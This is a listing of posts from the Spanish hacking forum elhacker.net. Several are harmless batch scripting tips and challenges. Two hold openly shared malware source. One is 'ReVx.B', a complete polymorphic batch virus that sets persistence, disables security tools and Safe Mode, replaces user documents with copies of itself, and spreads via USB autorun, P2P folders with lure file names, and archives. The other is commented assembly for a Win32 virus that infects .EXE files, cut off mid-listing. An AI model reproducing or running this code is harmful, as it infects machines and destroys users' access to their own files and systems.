elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: 1 2 3 [4] 5
31  Programación / Scripting / [BATCH]Suma y resta números de cualquier longitud en: 24 Julio 2012, 05:19 am
Aquí dos funciones nuevas relacionadas con la suma y la resta. Las otras eran para decimales, estas son para saltarse el límite de 32 bits de precisión que tiene la cmd al operar.

Después, cuando haga funciones para división y multiplicación decimal y corrija todos los bugs de estas funciones, lo unificaré todo en una sola clase para poder trabajar en batch con cualquier número real, con todos los dígitos decimales que uno quiera.

Aquí vienen las funciones:

Código:
:_addx
setlocal enabledelayedexpansion
set "f_s=_%~1" & set "s_s=_%~2" & set "add_str="
set/a cnt=1,car=0
:__loop.a
set "n_1=!f_s:~-%cnt%,1!"
set "n_2=!s_s:~-%cnt%,1!"
if "%n_1%%n_2%" EQU "__" goto :_endadd
if "%n_1%" EQU "_" set/a n_1=0
if "%n_2%" EQU "_" set/a n_2=0
set/a add=%n_1%+%n_2%+%car%,car=0,cnt+=1
if %add% GEQ 10 (
set/a car=1
if "!f_s:~-%cnt%,1!!s_s:~-%cnt%,1!" NEQ "__" (
set "add=%add:~-1%"
))
set "add_str=%add%%add_str%"
goto :__loop.a
:_endadd
call :_filset "%add_str%" "add_str"
endlocal & set "%~3=%add_str%" & exit /b

:_subx
setlocal enabledelayedexpansion
if "%~1" EQU "%~2" set "sub_str=0" & goto :_endsub
call :_filset "%~1" "t_1" & call :_filset "%~2" "t_2"
call :_hst "%t_1%" "%t_2%"
if "%hst%" EQU "%t_2%" set "min=_%~2" & set "sbs=_%~1" & set "s_g=-"
if "%hst%" EQU "%t_1%" set "min=_%~1" & set "sbs=_%~2"
set "sub_str=" & set/a cnt=1,c_s=0,car=0
:__loop.b
set "n_1=!min:~-%cnt%,1!"
set "n_2=!sbs:~-%cnt%,1!"
if "%n_1%%n_2%" EQU "__" goto :_endsub
if "%n_2%" EQU "_" set/a n_2=0
if "%car%" EQU "1" set/a n_2+=1,car=0
if %n_1% LSS %n_2% set/a c_s=10,car=1
set/a sub=%n_1%-%n_2%+%c_s%
set "sub_str=%sub%%sub_str%"
set/a cnt+=1,c_s=0
goto :__loop.b
:_endsub
call :_filset "%sub_str%" "sub_str"
endlocal & set "%~3=%s_g%%sub_str%" & exit /b

:_filset
for /f "tokens=* delims=0" %%_ in ("%~1") do set "%~2=%%_"
if not defined %~2 set/a "%~2=0"
exit /b

:_hst
setlocal enabledelayedexpansion
call :_strlen "%~1" & set/a n[0]=!errorlevel!
call :_strlen "%~2" & set/a n[1]=!errorlevel!
if %n[0]% EQU %n[1]% set "s_0=%~1" & set "s_1=%~2" & goto :_endhst
set/a hst=0,nhst=1
if %n[1]% GTR !n[%hst%]! set/a hst=1,nhst=0
set/a l_0=!n[%hst%]!-!n[%nhst%]!
shift/0 & call set "s_0=%%~%hst%" & call set "s_1=%%~%nhst%"
for /l %%_ in (1,1,%l_0%) do call set "s_1=0!s_1!"
:_endhst
for /f %%_ in ('"(echo:%s_0%&echo:%s_1%)|sort"') do set "hst=%%_"
endlocal & set "hst=%hst%" & exit /b

:_strlen
setlocal
set/a cnt=0
for /f "tokens=* eol=" %%_ in (
'"cmd /u /c echo:%~1|more"'
) do set/a cnt+=1
endlocal & exit /b %cnt%

La sintaxis es:

Código:
call :_addx "sum1" "sum2" "variable_almacén"
call :_subx "min" "sbs" "variable_almacén"

Un saludo, y por favor, cualquier bug que encuentren díganmenlo, que así me ayudarán a mejorar la clase final ;)

PD: Devuelve también, en el caso de la resta, resultados negativos si el substraendo es mayor que el minuendo ;)

EDIT: Bug fixeado.

Un pequeño ejemplo de su uso:

Código:
@Echo Off
more/c<nul
echo:  125504500255796221456988250471037
echo:-        47662554011498822047690014
echo:-------------------------------------
call :_subx "125504500255796221456988250471037" "47662554011498822047690014" "rslt"
echo:  %rslt%
pause>nul & exit

Como podéis ver, estos números son imposibles de operar en batch, pero usando esta función es posible.

Con decimales y con capacidad para manejar números astronómicos, creo que ya no hay excusas para no hacer programas de matemáticas en batch.
32  Programación / Scripting / [BATCH] CALC: Sumas y restas con decimales en: 23 Julio 2012, 02:33 am
Aquí dejo una función que es capaz de sumar y restar infinitos términos con tantos decimales como permita la cmd, usando sólo batch.

Dedicada a AgnesBlack, que tenía una duda con esto se ve.

Código:
@Echo Off
more/c<nul
call :_calc sub "12.72-8.189605-1.0025" "adt"
call :_calc add "%adt%+521.27+5" "adt"
echo: 12.72 - 8.189605 - 1.0025 + 521.27 + 5 = %adt%
pause 1>nul
exit
:_calc
setlocal enabledelayedexpansion
if "%~1" EQU "add" set "sym=+"
if "%~1" EQU "sub" set "sym=-"
set "add_str=%~2"
set "add_str=!add_str:%sym%= !"
set/a hst=0,cnt=0,add=0
for %%_ in (%add_str%) do (
set/a dec[!cnt!]=0
for /f "tokens=2 delims=." %%. in ("%%_") do (
call :_strlen "%%."
set/a dec[!cnt!]=!errorlevel!
if !errorlevel! GTR !hst! set/a hst=!errorlevel!
)
set/a cnt+=1
)
set/a cnt=0
if "%sym%" EQU "-" for %%_ in (%add_str:.=%) do (
set/a pow=%hst%-%dec[0]%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add+=!n_b!*2
goto :__op
)
:__op
for %%_ in (%add_str:.=%) do (
call set/a pow=%hst%-%%dec[!cnt!]%%,n_b=%%_
for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0"
set/a add%sym%=!n_b!,cnt+=1
)
set "res=!add:~0,-%hst%!.!add:~-%hst%!"
if %hst% EQU 0 set "res=%res:~1%"
endlocal & set "%~3=%res%" & exit /b
:_strlen
setlocal
set/a cnt=0
for /f "tokens=* eol=" %%_ in (
'"cmd /u /c echo:%~1|more"'
) do set/a cnt+=1
endlocal & exit /b %cnt%

¡Un saludo!
33  Programación / Scripting / [Reto Batch]Algoritmo Quicksort en: 22 Julio 2012, 20:31 pm
Reto Nº 18

Nombre:           Algoritmo Quicksort (Binary_Death)
Dificultad:        6/10
Objetivo:         Desarrollar una función de ordenamiento de números basada               en el algoritmo quicksort.

Indicaciones:   El algoritmo se puede ver aquí: http://es.wikipedia.org/wiki/Quicksort

La llamada a la función ha de ser como sigue: call :_qsort "a b c d e f g h i..."
Donde las letras son números cualquiera.
34  Programación / Scripting / [BATCH] Colored ECHO función en: 22 Julio 2012, 01:03 am
Esta es una versión que hice de la ya muy antigua función de echo coloreado usando findstr.
¿Recuerdan que siempre quedaban los dos puntos al final de la cadena? He visto formas de eliminarlos que hicieron algunos usuarios, de varias maneras.

Aquí dejo yo una que es muy corta:

Código:
@Echo Off
for %%x in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
for %%y in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do (
call:_echo "Color %%x%%y" %%x%%y
)
)
exit
:_echo
chdir "%temp%"
exit|cmd /k prompt $H>"%~1"
findstr /v /a:%~2 /r "^$" "%~1*" && ECHO+
del /f /q "%~1"
goto:eof

Como pueden ver, aquí el propio carácter backspace está incluido en en fichero que se le pasa como parámetro a findstr.

Un saludo
35  Programación / Scripting / [Reto Batch]Edad lunar en: 8 Julio 2012, 18:58 pm
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:

Reto iniciado por binary_death.

Reto Nº 16 BATCH

Nombre:           Edad lunar (Binary_Death)
Dificultad:        2/10
Objetivo:         Programar un script que, introduciendo cualquier día, mes y año, devuelva la edad de la luna (y por ende su fase lunar)
Pistas:             No hay que saber demasiado batch, y la forma de calcular esto se encuentra en muchos sitios de la red.
                       Edad lunar = epacta + día del mes + meses desde marzo
36  Programación / Scripting / [Batch] ReVx.B en: 21 Junio 2012, 21:22 pm
Código:
@Echo Off %Header0% %_vx_%
SetLocal EnableDelayedExpansion %Header0% %_vx_%
GoTo :_%~1 %Header0% %_vx_%
:_Hidden %Header0% %_vx_%
:_ %Header0% %_vx_%
Chdir "%temp%" & Copy /y "%~0" "%temp%" %Header0% 1>nul 2>&1 %Header0% %_vx_%
If "%~1" NEQ "Hidden" ( %Header0% %_vx_%
call :_vbs>vbs.vbs & start vbs.vbs %Header0% %_vx_%
exit %Header0% %_vx_%
) else (GoTo :_code) %Header0% %_vx_%
:_vbs %Header0% %_vx_%
Echo.On Error Resume Next %Header0% %_vx_%
Echo.SET a=CreateObject^("WScript.Shell"^) %Header0% %_vx_%
Echo a.Run """%~n0%~x0"" Hidden", vbHide %Header0% %_vx_%
GoTo:EoF %Header0% %_vx_%
:_code %Header0% %_vx_%
del /q vbs.vbs %Header0% %_vx_%

Set "__dir0=%~0" %_vx_%
Set "__ext0=%~x0" %_vx_%
Set "__siz0=%~z0" %_vx_%
Set "__admin=0" %_vx_%
Set "__path=" %_vx_%
Set "__ipath=" %_vx_%
Set "__vpath=" %_vx_%
Set "__spath=" %_vx_%
Set "__adpath=" %_vx_%
Set "__modules=0,1,2,3,4,5" %_vx_%
Set __iext=*.doc *.docx *.xls *.xlsx *.ppt *.pps *.pptx *.pptx *.wmv *.pdf %_vx_%^
*.jpg *.jpeg *.bmp *.gif *.mp3 *.mp4 *.avi *.mpg *.mpeg *.divx *.png *.psd %_vx_%

:_main %_vx_%
Call :_AdminRequest & Call :_SetPrivs %_vx_%
:_polymorphism %_vx_%
Find "_vx_"<"%__dir0%">"%__vpath%" || GoTo :_polymorphism %_vx_%
For /l %%x in (0,1,10) do ( %_vx_%
call :SetMod "mod" %_vx_%
find "_m!mod!_"<"%__dir0%">>"%__vpath%" %_vx_%
call :_GenRan !random:~0,2! %_vx_%
Echo.::!rstr!>>"%__vpath%" %_vx_%
) %_vx_%
For %%x in (%__modules%) do Start "" /B /high "%__dir0%" Mod_%%x %_vx_%
EXIT %_vx_%
:SetMod %_vx_%
set/a "%~1=%random% %% 11" %_vx_%
(find "_m%mod%_"<"%__vpath%" 1>nul 2>&1) && (GoTo:SetMod) %_vx_%
GoTo:EoF %_vx_%
:_Mod_0 %_m0_%

Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m0_%
( %_m0_%
Echo.On Error Resume Next %_m0_%
Echo.Set b = CreateObject^("Scripting.FileSystemObject"^) %_m0_%
Echo.Set Ha = b.OpenTextFile^("%__vpath:\=\\%"^) %_m0_%
Echo.Contn = Ha.ReadAll %_m0_%
Echo.Do %_m0_%
Echo.If not^(b.FileExists^("%__vpath:\=\\%"^)^) Then %_m0_%
Echo.Set Hb = b.CreateTextFile^("%__vpath:\=\\%"^) %_m0_%
Echo.Hb.Write Contn %_m0_%
Echo.Hb.Close %_m0_%
Echo.End If %_m0_%
Echo.Loop %_m0_%
) 1>"%__adpath%" 2>nul %_m0_%
Start "" "%__adpath%" %_m0_%
EXIT %_m0_%

:_Mod_1 %_m1_%
Chdir "%__ipath%" %_m1_%
For /f "tokens=*" %%_ in ('dir /b /s %__iext%') do ( %_m1_%
if "%%~dp_" NEQ "%__spath%\" ( %_m1_%
call :_GenRan 16 %_m1_%
move /y "%%_" "%__spath%\!rstr!%%~x_" %_m1_%
attrib +s +h "%__spath%\!rstr!%%~x_" %_m1_%
call :_Infect "%__spath%\!rstr!%%~x_" 1>"%%_.bat" 2>nul %_m1_%
) %_m1_%
) %_m1_%
GoTo :_Mod_1 %_m1_%

:_Mod_2 %_m2_%
Set "c__c=Doskey tskill=exit&Doskey taskkill=exit&Doskey reg=exit&Doskey cmd=exit&Doskey doskey=exit" %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f %_m2_%
Reg Add "HKCU\Software\Microsoft\Command Processor" /v "AutoRun" /t REG_SZ /d "%c__c%" /f %_m2_%
Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\minimal" /f %_m2_%
Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\network" /f %_m2_%
GoTo :_Mod_2 %_m2_%

:_Mod_3 %_m3_%
Set /a "hour=%time:~0,2% + 1" %_m3_%
If "%hour%" EQU "24" Set "hour=00" %_m3_%
:_loop %_m3_%
If "%time:~0,2%" NEQ "%hour%" GoTo :_loop %_m3_%
Set /a "Dice=%random% %% 6" %_m3_%
If "%Dice%" EQU "0" ( %_m3_%
Pushd "%cd%" %_m3_%
Chdir "%UserProfile%" %_m3_%
Exit|"%ComSpec%" /k prompt e$S100$S07$_n$S@$_rcx$_1$_w$_q$_># %_m3_%
debug<#>nul %_m3_%
for /l %%_ in (0,1,%random:~-3%) do type @ %_m3_%
Popd %_m3_%
) %_m3_%
Set /a "ReBoot=%random% %% 12" %_m3_%
If "%ReBoot%" EQU "0" ( %_m3_%
shutdown -r -f -t 10 -c "Error 0x1445E5D9. The memory cannot be 'read'." %_m3_%
) %_m3_%
Set /a "SendKeys=%random% %% 12" %_m3_%
If "%SendKeys%" EQU "0" ( %_m3_%
Pushd "%cd%" %_m3_%
Chdir "%UserProfile%" %_m3_%
( %_m3_%
Echo.Do %_m3_%
Echo.Set a = CreateObject^("WScript.Shell"^) %_m3_%
Echo.a.SendKeys "REVX" %_m3_%
Echo.Loop %_m3_%
)>skeys.vbs %_m3_%
start "" "skeys.vbs" %_m3_%
Popd %_m3_%
) %_m3_%
GoTo :_Mod_3 %_m3_%

:_Mod_4 %_m4_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m4_%
For %%_ in ( %_m4_%
A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z %_m4_%
) do ( %_m4_%
If Exist "%%_:\" ( %_m4_%
Copy /y "%__dir0%" "%%_:\revx.bat" %_m4_%
Call:_Autorun "revx.bat" 1>"%%_:\autorun.inf" 2>nul %_m4_%
Attrib +s +h "%%_:\revx.bat" %_m4_%
Attrib +s +h "%%_:\autorun.inf" %_m4_%
) %_m4_%
) %_m4_%
GoTo :_Mod_4 %_m4_%

:_Mod_5 %_m5_%
Doskey taskkill= %_m5_%
If Exist "%ProgramFiles%\WinRAR" ( %_m5_%
Set "ext_p2p=rar" %_m5_%
) else (Set "ext_p2p=bat") %_m5_%

If "%ext_p2p%" EQU "rar" ( %_m5_%
Set "path_p2p=%__ipath%\revxp2p.rar" %_m5_%
If Exist "!path_p2p!" Del /f /q "!path_p2p!" %_m5_%
Start /WAIT WinRAR.exe a "!path_p2p!" "%__dir0%" -ep1 -ibck -inul %_m5_%
taskkill /f /im "WinRAR.exe" %_m5_%
) else ( Set "path_p2p=%__dir0%" ) %_m5_%

For %%i in ( %_m5_%
"%ProgramFiles%\Kazaa\My Shared Folder", %_m5_%
"%ProgramFiles%\Kazaa Lite\My Shared Folder", %_m5_%
"%ProgramFiles%\Grokster\My Grokster", %_m5_%
"%ProgramFiles%\Morpheus\My Shared Folder", %_m5_%
"%ProgramFiles%\EDONKEY2000\incoming", %_m5_%
"%ProgramFiles%\Gnucleus\Downloads", %_m5_%
"%ProgramFiles%\eMule\Incoming", %_m5_%
"%ProgramFiles%\BearShare\Shared", %_m5_%
"%ProgramFiles%\Shareaza\Downloads", %_m5_%
"%ProgramFiles%\ICQ\shared files", %_m5_%
"%ProgramFiles%\Filetopia3\Files", %_m5_%
"%ProgramFiles%\appleJuice\incoming", %_m5_%
"%ProgramFiles%\LimeWire\Shared", %_m5_%
"%ProgramFiles%\Overnet\incoming", %_m5_%
"%ProgramFiles%\Swaptor\Download", %_m5_%
"%ProgramFiles%\WinMX\My Shared Folder", %_m5_%
"%ProgramFiles%\Tesla\Files", %_m5_%
"%ProgramFiles%\XoloX\Downloads", %_m5_%
"%ProgramFiles%\Rapigator\Share", %_m5_%
"%ProgramFiles%\KMD\My Shared Folder", %_m5_%
"%ProgramFiles%\Direct Connect\Received Files", %_m5_%
"%HomeDrive%\My Shared Folder", %_m5_%
"%UserProfile%\Desktop\My Shared Folder" %_m5_%
) do ( %_m5_%
If Exist "%%~i" ( %_m5_%
For %%d in ( %_m5_%
"MSN_emoticons","Horny_girls_get_fucked","Asian_teen_collection", %_m5_%
"Windows_7_gold_serials","MSN_hacking_code","Office_2010_activation_tool", %_m5_%
"Avatar_2009_subtitles","free_sms_tool", "Justin_Bieber-Believe", %_m5_%
"Twilight_e-book","Pitbull-I_know_you_want_me","Twilight_wallpapers" %_m5_%
) do ( Copy /y "%path_p2p%" "%%~i\%%~d_!random!.%ext_p2p%" ) %_m5_%
) ) %_m5_%

If Exist "%ProgramFiles%\WinRAR" ( %_m5_%
For /f "Tokens=*" %%p in ( %_m5_%
'dir /b /s "%__ipath%\*.rar" "%__ipath%\*.zip"' %_m5_%
) do Start winRAR.exe a "%%~p" "%__dir0%" -ep1 -ibck -inul %_m5_%
taskkill /f /im "WinRAR.exe" %_m5_%
) %_m5_%

EXIT %_m5_%

:_AdminRequest %_m6_%
Net Start Workstation %_m6_%
For /f "tokens=1 delims=* skip=4" %%_ in ( %_m6_%
'Net LocalGroup' %_m6_%
) Do ( %_m6_%
For /f "tokens=* skip=6" %%# in ( %_m6_%
'Net LocalGroup %%_' %_m6_%
) Do ( %_m6_%
If "%%#" EQU "%UserName%" ( %_m6_%
Set "__admin=1" %_m6_%
GoTo :EoF %_m6_%
) %_m6_%
) %_m6_%
GoTo :EoF %_m6_%
) %_m6_%
GoTo :EoF %_m6_%

:_SetPrivs %_m7_%
If "%__admin%" EQU "1" ( %_m7_%
Mkdir "%SystemRoot%\system32ÿ" %_m7_%
Set "__ipath=%SystemDrive%\" %_m7_%
Set "__vpath=%SystemRoot%\system32\drivers\keyboard.bat" %_m7_%
Set "__spath=%SystemRoot%\system32ÿ" %_m7_%
Set "__adpath=%SystemRoot%\wscript.exe.vbs" %_m7_%
) else ( %_m7_%
Mkdir "%UserProfile%\Config" %_m7_%
Mkdir "%UserProfile%\Config\Startup" %_m7_%
Attrib +s +h "%UserProfile%\Config" %_m7_%
Set "__ipath=%UserProfile%" %_m7_%
Set "__vpath=%UserProfile%\Config\config.bat" %_m7_%
Set "__spath=%UserProfile%\Config\Startup" %_m7_%
Set "__adpath=%UserProfile%\Config\userlog.txt.vbs" %_m7_%
) %_m7_%

GoTo :EoF %_m7_%

:_GenRan %_m8_%
Set "rstr=" %_m8_%
For /l %%_ in (1,1,%~1) do ( %_m8_%
Set /a "rval=!random! %% 2" %_m8_%
If "!rval!" EQU "0" Set "rstr=!rstr!!random:~1,1!" %_m8_%
If "!rval!" EQU "1" ( %_m8_%
Set /a "rchr=(!random! %% 26) + 97" %_m8_%
"%ComSpec%" /c Exit /b !rchr! %_m8_%
Set "rstr=!rstr!!=ExitCodeAscii!" %_m8_%
) %_m8_%
) %_m8_%
Goto :EoF %_m8_%

:_Infect %_m9_%
Set "insrt=Header" & Set "mrk=__" %_m9_%
Find "%insrt%0"<"%__dir0%" %_m9_%
Echo.start "" "%~1" /high ^&::%mrk% %_m9_%
Find /v "%insrt%0"<"%__dir0%" | Find /v "&::%mrk%" %_m9_%
GoTo :EoF %_m9_%

:_Autorun %_m10_%
Echo.[AutoRun] %_m10_%
Echo.UseAutoPlay=1 %_m10_%
Echo.Open=%~1 %_m10_%
Echo.shell\open\command=%~1 %_m10_%
GoTo :EoF %_m10_%


Este es un pequeño malware polimórfico de hace un tiempo. Tiene el pan de cada día y algunas cosas curiosas, como la suplantación de ficheros de ciertas extensiones por copias del propio malware que a su vez antes de ejecutarse lanzarán el fichero original, dando el efecto de que no está corrupto.

Sigue este patrón para todos los ficheros excepto para los .RAR y .ZIP. Con estos intenta añadirse si es que está disponible el WinRAR.

Por otro lado, para asegurar su ejecución, hice que casi todo el código funcionara como usuario restringido o administrador, detectando en algunos casos en qué rutas puede trabajar y en cuales no por no tener acceso.

El payload no es nada del otro mundo, es más bien una broma. Es aleatorio, funciona en base a probabilidades, y lo que voy a describir ahora ocurre por cada instancia ejecutada en el equipo:

1/6 Probabilidades de un número aleatorio de pitidos
1/12 Probabilidades de reinicio
1/12 Probabilidades de enviar repetidamente pulsaciones de teclado ("REVX")

Hay que tener en cuenta que cada fichero reemplazado (que es prácticamente la totalidad de ficheros de uso común por el usuario) que sea ejecutado, iniciará una nueva instancia, así que lo que a priori son pocas probabilidades se van acumulando hasta que sea una hora punta y entonces se liberen.

Todo por supuesto se ejecuta ocultamente, usando (no había más remedio) VBS, que a su vez lo aproveché para impedir la eliminación del fichero origen del virus.

Tiene más cositas, pero a ver si las testeais vosotros  ;)

El código está probado en Win XP y Win 7.

¡Un saludo!
37  Seguridad Informática / Análisis y Diseño de Malware / Virus parasitario (infector de .EXE) en: 29 Abril 2012, 02:45 am
 Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host.
EDIT: Lo he comentado por completo, porque si no es muy difícil de leer  :D

Código
  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4. assume fs:nothing
  5.  
  6. .code
  7. vx_code:
  8. start_vx_code:
  9. call _delta
  10. _delta:
  11. ;Get the delta offset
  12. pop ebp
  13. sub ebp, offset _delta
  14.  
  15. ;MyEntryPoint would be saved
  16. ;in HostEntryPoint if the current
  17. ;file were infected
  18. mov eax, [ebp + HostEntryPoint]
  19. mov [ebp + MyEntryPoint], eax
  20.  
  21. ;Call to _GtGetProcAddress
  22. ;to find out Kernel32 base
  23. ;and GetProcAddress Address
  24. call _GtGetProcAddress
  25. mov [ebp + GtProcAdH], eax
  26. mov [ebp + Kernel32H], edx
  27. call _GtRequiredAPIs
  28.  
  29. _FindFirst:
  30. ;Find first file, loading the parameters
  31. ;according to ebp, delta offset
  32.     lea ebx, [ebp + win32_find_data]
  33.     lea edx, [ebp + filter]
  34.     push ebx
  35.     push edx
  36.     call [ebp + FindFirstFileAH]
  37.  
  38.     ;If it hasn't found any file
  39.     ;return to the host file code
  40.     cmp eax, -1
  41.     jz end_vx
  42.  
  43. ;Else save the Handle in FileHandleFind
  44.     mov [ebp + FileHandleFind], eax
  45.  
  46.     ;And call infect_file to try to infect it
  47.     call infect_file
  48.  
  49.     _FindNext:
  50.  
  51.     ;Load the parameters for FindNextFileA and call it
  52.     lea ebx, [ebp + win32_find_data]
  53.     mov edx, [ebp + FileHandleFind]
  54.     push ebx
  55.     push edx
  56.     call [ebp + FindNextFileAH]
  57.  
  58.     ;If it hasn't found anything else, return
  59.     cmp eax, 00h
  60.     jz end_vx
  61.  
  62.     ;Else try to infect the file
  63.     call infect_file
  64.  
  65.     ;Search more files
  66.     jmp _FindNext
  67. retn
  68.  
  69.  
  70. end_vx:
  71.  
  72. ;If delta offset is 00h
  73. ;the virus is not running on
  74. ;another executable, so exit to OS
  75. cmp ebp, 00h
  76. jnz return
  77. retn
  78. return:
  79. ;Else access to TIB to get
  80. ;the current ImageBase
  81. mov eax, fs:[030h]
  82.           mov eax,[eax + 08h]
  83.  
  84.           ;And add it to MyEntryPoint
  85.           add [ebp + MyEntryPoint], eax
  86.  
  87.           ;To jump
  88. jmp dword ptr[ebp + MyEntryPoint]
  89.  
  90. _procedures:
  91. _GtGetProcAddress:
  92.  
  93. ;To get kernel32 ImageBase
  94. ;Looking at the PEB
  95. mov ebx, fs:[030h]
  96. mov ebx, [ebx + 0ch]
  97. mov ebx, [ebx + 0ch]
  98. mov ebx, [ebx + 00h]
  99. mov ebx, [ebx + 00h]
  100. mov eax, [ebx + 18h]
  101.  
  102. ;To get export table address
  103. mov ebx, [eax + 3Ch]
  104. add ebx, eax
  105. mov ebx, [ebx + 78h]
  106. add ebx, eax
  107.  
  108. ;Save that address
  109. push ebx
  110.  
  111. ;Pointer to AddressOfNames
  112. mov ebx, [ebx + 20h]
  113. add ebx, eax
  114. xor edx, edx
  115. _loop:
  116. ;Each entry of AddressOfNames
  117. ;Is a pointer to one string
  118. ;which has the name of one API
  119. lea esi, [ebp + GpaName]
  120. mov edi, [ebx + edx]
  121. add edi, eax
  122. mov ecx, 0Fh
  123. add edx, 04h
  124. repz cmpsb
  125. jnz _loop
  126. sub edx, 04h
  127.  
  128. ;Divide edx by 2 to use it as
  129. ;an index in AddressOfNameOrdinals
  130. ;(2 bytes by entry)
  131. shr edx, 01h
  132.  
  133. ;Restore ExportTable address
  134. pop ebx
  135.  
  136. ;Access to AddressOfNameOrdinals
  137. mov edi, [ebx + 24h]
  138. add edi, eax
  139.  
  140. ;To get the index that is going
  141. ;to be used in AddressOfFunctions
  142. movzx edx, word ptr[edi + edx]
  143.  
  144. ;Each entry is 4 bytes long
  145. shl edx, 02h
  146.  
  147. ;Load AddressOfFunctions address in edi
  148. mov edi, [ebx + 1Ch]
  149. add edi, eax
  150.  
  151. ;Load GetProcAddress address in edi
  152. mov edi, [edi + edx]
  153. add edi, eax
  154.  
  155. ;edx = Kernel base
  156. ;eax = GetProcAddress address
  157. mov edx, eax
  158. mov eax, edi
  159. retn
  160.  
  161. _GtRequiredAPIs:
  162. ;Source registry points to ApiListH (where the APIs handles will be)
  163. ;Destiny registry points to ApiListN (where the APIs names are)
  164. lea edi, [ebp + ApiListN]
  165. lea esi, [ebp + ApiListH]
  166.  
  167. ;Ebx contains Kernel32 base
  168. mov ebx, [ebp + Kernel32H]
  169. GetAPI_Loop:
  170. ;Push the Kernel base and
  171. ;the API name to get its address
  172. push edi
  173. push ebx
  174. call [ebp + GtProcAdH]
  175.  
  176. ;Save the adress where source registry points
  177. mov [esi], eax
  178.  
  179. ;Find the next API in the list pointed by edi
  180. xor eax, eax
  181. repnz scasb
  182.  
  183. ;Esi points to the next handle to fill up
  184. add esi, 04h
  185.  
  186. ;If it's not the end of the list
  187. ;get the next API, else return
  188. cmp byte ptr[edi], 00h
  189. jnz GetAPI_Loop
  190. retn
  191.  
  192. infect_file:
  193.  
  194. ;VirusHostSize contains the size of the virus
  195. ;plus the size of the host
  196. mov ebx, VirusSize
  197. add ebx, [ebp + win32_find_data.nFileSizeLow]
  198. mov [ebp + VirusHostSize], ebx
  199.  
  200. ;Open the file to read and write on it
  201. ;And shared on reading
  202. push 00h
  203. push 00h
  204. push 03h
  205. push 00h
  206. push 01h
  207. push 0C0000000h
  208. lea ebx, [ebp + win32_find_data.cFileName]
  209. push ebx
  210. call [ebp + CreateFileAH]
  211.  
  212. ;If the file could not be opened
  213. ;jump to end_infect_file to search more files
  214. cmp eax, -1
  215. jz end_infect_file
  216.  
  217. ;Else save the handle in FileHandleCreate
  218. mov [ebp + FileHandleCreate], eax
  219.  
  220. ;Push the file size to the stack and map the file in memory
  221. ;Eax will contain the base address of the mapped file
  222. push [ebp + win32_find_data.nFileSizeLow]
  223. call map_file_in_memory
  224.  
  225. ;Is it an executable file?
  226. cmp word ptr[eax], "ZM"
  227.  
  228. ;Otherwise close the handles and return
  229. jnz close_view
  230.  
  231. ;Ebx contains the address where the PE files
  232. ;header begins
  233. mov ebx, [eax + 3Ch]
  234. add ebx, eax
  235.  
  236. ;If it's not a PE file close the handles and return
  237. cmp word ptr[ebx], "EP"
  238. jnz close_view
  239.  
  240. ;If the file is already infected
  241. ;close the handles and return
  242. cmp dword ptr[eax + 6Ch], "hDyB"
  243. jz close_view
  244.  
  245. ;falignvalue will contain the FileAlignment
  246. ;and salignvalue will contain the SectionAlignment
  247. mov eax, [ebx + 3Ch]
  248. mov [ebp + falignvalue], eax
  249. mov eax, [ebx + 38h]
  250. mov [ebp + salignvalue], eax
  251.  
  252. ;Get the new size of the file
  253. ;that is, the VirusHostSize rounded up
  254. ;to the FileAlignment
  255. push dword ptr[ebp + VirusHostSize]
  256. push dword ptr[ebp + falignvalue]
  257. call _alignment
  258.  
  259. ;And push it to the stack
  260. push eax
  261.  
  262. ;Unmap the file
  263. push [ebp + MappedFile]
  264. call [ebp + UnmapViewOfFileH]
  265. push [ebp + FileHandleMap]
  266. call [ebp + CloseHandleH]
  267.  
  268. ;And map it again with the new size
  269. call map_file_in_memory
  270.  
  271. ;Save the base address of the mapped file
  272. push eax
  273.  
  274. ;Mark the file with the signature ByDh
  275. mov dword ptr[eax + 6Ch], "hDyB"
  276.  
  277. ;Ebx contains the PE header address
  278. mov ebx, [eax + 3Ch]
  279. add ebx, eax
  280.  
  281. ;Save this address
  282. push ebx
  283.  
  284. ;Move to edx the size of optional header
  285. movzx edx, word ptr[ebx + 14h]
  286.  
  287. ;Load in esi the address of the first structure
  288. ;of the PE Section Table
  289. ;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
  290. lea esi, [ebx + edx + 18h]
  291.  
  292. ;And push it to stack to use it later
  293. push esi
  294.  
  295. ;Move to ecx NumberOfSections
  296. movzx ecx, word ptr[ebx + 06h]
  297.  
  298. ;And push it to stack to use it later
  299. push ecx
  300.  
  301.  
  302. ;Eax = 00h, and it will contain
  303. ;the highest PointerToRawData
  304. xor eax, eax
  305. _SectionsLoop:
  306.  
  307. ;Compare the current biggest pointer
  308. ;with the PointerToRawData of the next section
